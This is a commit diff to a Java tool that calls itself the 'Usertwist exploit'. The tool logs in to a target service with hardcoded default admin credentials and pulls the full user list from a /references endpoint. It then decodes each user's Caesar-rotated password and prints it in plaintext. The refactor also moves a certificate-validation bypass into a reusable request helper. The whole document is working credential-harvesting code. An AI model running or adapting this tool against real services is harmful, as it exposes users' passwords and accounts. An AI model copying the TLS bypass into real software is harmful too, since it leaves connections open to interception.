Simplified elapsed time calculating

src/fr/motysten/usertwist/exploit/Main.java

@@ -1,24 +1,21 @@
 package fr.motysten.usertwist.exploit;
 
-import fr.motysten.usertwist.exploit.tools.Cesar;
-import fr.motysten.usertwist.exploit.tools.SSLBypass;
+import fr.motysten.usertwist.exploit.tools.Parser;
+import fr.motysten.usertwist.exploit.tools.Request;
 import org.json.JSONArray;
 import org.json.JSONObject;
 
-import javax.net.ssl.SSLContext;
 import javax.net.ssl.SSLException;
 import javax.net.ssl.SSLHandshakeException;
-import javax.net.ssl.TrustManager;
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
-import java.net.URI;
-import java.net.http.HttpClient;
-import java.net.http.HttpRequest;
 import java.net.http.HttpResponse;
 import java.security.KeyManagementException;
 import java.security.NoSuchAlgorithmException;
-import java.security.SecureRandom;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 
 public class Main {
 
@@ -26,12 +23,16 @@ public class Main {
     public static String username = "admin";
     public static String password = "AdminSecret1C";
     public static String port = "443";
+    public static int rotation = 4;
+    public static boolean insecure = false;
+    public static boolean asynchronous = true;
 
     public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
         BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
 
-        SSLContext customContext = SSLContext.getInstance("TLS");
-        customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
+        if (Arrays.asList(args).contains("--synchronous") || Arrays.asList(args).contains("-s")) {
+            asynchronous = false;
+        }
 
         System.out.println("Usertwist exploit by Motysten");
         System.out.println("Please don't use for unethical purpose !\n");
@@ -53,7 +54,9 @@ public class Main {
         readLine = reader.readLine();
         if (!readLine.isEmpty()) {password = readLine;}
 
-        HttpClient client = HttpClient.newHttpClient();
+        System.out.println("Please enter the cesar offset (leave empty to use default) :");
+        readLine = reader.readLine();
+        if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
 
         JSONObject requestJSON = new JSONObject();
         requestJSON.put("username", username);
@@ -62,17 +65,22 @@ public class Main {
         System.out.println("Gathering Bearer token...");
 
         HttpResponse<String> response = null;
-        HttpRequest request;
 
         boolean tokenFound = false;
         while (!tokenFound) {
             try {
-                request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/login"))
-                        .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
-                        .build();
-
-                response = client.send(request, HttpResponse.BodyHandlers.ofString());
-                tokenFound = true;
+                response = Request.get(link, port, "/login", requestJSON, null, insecure);
+                if (response.statusCode() == 308) {
+                    System.err.println("The server is trying to force HTTPS use. Would you like to retry with HTTPS ? [Y/n]");
+                    if (reader.readLine().equalsIgnoreCase("n")) {
+                        System.err.println("Operation aborted ! Security failure.");
+                    } else {
+                        link = link.replaceFirst("http", "https");
+                        port = "443";
+                    }
+                } else {
+                    tokenFound = true;
+                }
             } catch (SSLHandshakeException e) {
                 System.err.println("Remote server certificate issuer couldn't be verified. Someone could be spying on your network.");
                 System.err.println("Would you like to continue anyway ? [y/N]");
@@ -80,7 +88,7 @@ public class Main {
                     System.err.println("Operation aborted ! Security failure.");
                     System.exit(1);
                 } else {
-                    client = HttpClient.newBuilder().sslContext(customContext).build();
+                    insecure = true;
                 }
             } catch (SSLException e) {
                 if (e.getMessage().contains("plaintext connection?")) {
@@ -100,6 +108,8 @@ public class Main {
             System.exit(1);
         }
 
+        System.out.println(response.statusCode());
+
         JSONObject responseObject = new JSONObject(response.body());
         String token = responseObject.optString("token");
 
@@ -111,24 +121,24 @@ public class Main {
 
         System.out.println("\nScanning for existing users...");
 
-        request = HttpRequest.newBuilder(URI.create(link + ":" + port + "/references"))
-                .POST(HttpRequest.BodyPublishers.ofString(requestJSON.toString()))
-                .setHeader("Authorization", "Bearer " + token)
-                .build();
+        Map<String, String> headers = new HashMap<>();
+        headers.put("Authorization", "Bearer " + token);
 
-        response = client.send(request, HttpResponse.BodyHandlers.ofString());
+        response = Request.get(link, port, "/references", requestJSON, headers, insecure);
         JSONArray usersArray = new JSONArray(response.body());
 
         System.out.println(usersArray.length() + " users found !");
         System.out.println("\nDecrypting passwords...\n");
 
-        for (int i = 0; i < usersArray.length(); i++) {
-            JSONObject user = usersArray.getJSONObject(i);
-            String login = user.getString("username");
-            String password = Cesar.cesarRotate(user.getString("data"), -4);
-
-            System.out.println((i + 1) + ". " + login + " => " + password);
+        float startTime = System.nanoTime();
+        if (asynchronous) {
+            Parser.asyncGetPass(usersArray, rotation);
+        } else {
+            Parser.getPass(usersArray, rotation);
         }
+        float elapsedTime = (System.nanoTime() - startTime) / 1000000;
+        System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");
+
     }
 
 }

src/fr/motysten/usertwist/exploit/tools/Cesar.java

@@ -1,34 +1,33 @@
 package fr.motysten.usertwist.exploit.tools;
 
+import java.util.stream.Collectors;
+
 public class Cesar {
 
-    public static String cesarRotate(String input, int offset) {
+    public static String rotate(String input, int offset) {
+        char normalizeKey = (char) (offset % 26);
 
-        String LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz";
-        if (offset < 0) {
-            LOWER_ALPHABET = new StringBuilder(LOWER_ALPHABET).reverse().toString();
-            offset = -offset;
-        }
-        String UPPER_ALPHABET = LOWER_ALPHABET.toUpperCase();
-
-        StringBuilder output = new StringBuilder();
-
-
-        for (int i = 0; i < input.length(); i++) {
-            char newChar = input.charAt(i);
-            if (!Character.isDigit(input.charAt(i))) {
-                int pos = LOWER_ALPHABET.indexOf(Character.toLowerCase(input.charAt(i)));
-                int newPos = (pos + offset) % 26;
-                if (Character.isUpperCase(input.charAt(i))) {
-                    newChar = UPPER_ALPHABET.charAt(newPos);
-                } else {
-                    newChar = LOWER_ALPHABET.charAt(newPos);
-                }
-            }
-            output.append(newChar);
-        }
-
-        return output.toString();
+        return input.chars()
+                .mapToObj(c -> (char) c)
+                .map(c -> {
+                    if (Character.isLetter(c)) {
+                        char base;
+                        if (Character.isUpperCase(c)) {
+                            base = 'A';
+                        } else {
+                            base = 'a';
+                        }
+                        if (offset < 0) {
+                            return (char) (base + (c - base + normalizeKey) % 26);
+                        } else {
+                            return (char) (base + (c - base - normalizeKey + 26) % 26);
+                        }
+                    } else {
+                        return c;
+                    }
+                })
+                .map(String::valueOf)
+                .collect(Collectors.joining());
     }
 
 }

src/fr/motysten/usertwist/exploit/tools/Parser.java

@@ -0,0 +1,33 @@
+package fr.motysten.usertwist.exploit.tools;
+
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+public class Parser {
+
+    public static void getPass(JSONArray usersArray, int rotation) {
+        for (int i = 0; i < usersArray.length(); i++) {
+            JSONObject user = usersArray.getJSONObject(i);
+            String login = user.getString("username");
+            String password = Cesar.rotate(user.getString("data"), rotation);
+
+            System.out.println((i + 1) + ". " + login + " => " + password);
+        }
+    }
+
+    public static void asyncGetPass(JSONArray usersArray, int rotation) {
+
+        for (int i = 0; i < usersArray.length(); i++) {
+
+            int finalI = i;
+            new Thread(() -> {
+                JSONObject user = usersArray.getJSONObject(finalI);
+                String login = user.getString("username");
+                String password = Cesar.rotate(user.getString("data"), rotation);
+
+                System.out.println((finalI + 1) + ". " + login + " => " + password);
+            }).start();
+        }
+    }
+
+}

src/fr/motysten/usertwist/exploit/tools/Request.java

@@ -0,0 +1,42 @@
+package fr.motysten.usertwist.exploit.tools;
+
+import org.json.JSONObject;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.TrustManager;
+import java.io.IOException;
+import java.net.URI;
+import java.net.http.HttpClient;
+import java.net.http.HttpRequest;
+import java.net.http.HttpResponse;
+import java.security.KeyManagementException;
+import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
+import java.util.Map;
+
+public class Request {
+
+    public static HttpResponse<String> get(String link, String port, String endpoint,JSONObject params, Map<String, String> headers, boolean insecure) throws NoSuchAlgorithmException, KeyManagementException, IOException, InterruptedException {
+        HttpClient client = HttpClient.newHttpClient();
+
+        if (insecure) {
+            SSLContext customContext = SSLContext.getInstance("TLS");
+            customContext.init(null, new TrustManager[]{new SSLBypass()}, new SecureRandom());
+
+            client = HttpClient.newBuilder().sslContext(customContext).build();
+        }
+
+        HttpRequest.Builder builder = HttpRequest.newBuilder(URI.create(link + ":" + port + endpoint));
+        if (headers != null) {
+            for (Map.Entry<String, String> header : headers.entrySet()) {
+                builder.setHeader(header.getKey(), header.getValue());
+            }
+        }
+
+        builder.POST(HttpRequest.BodyPublishers.ofString(params.toString()));
+        HttpRequest request = builder.build();
+
+        return client.send(request, HttpResponse.BodyHandlers.ofString());
+    }
+
+}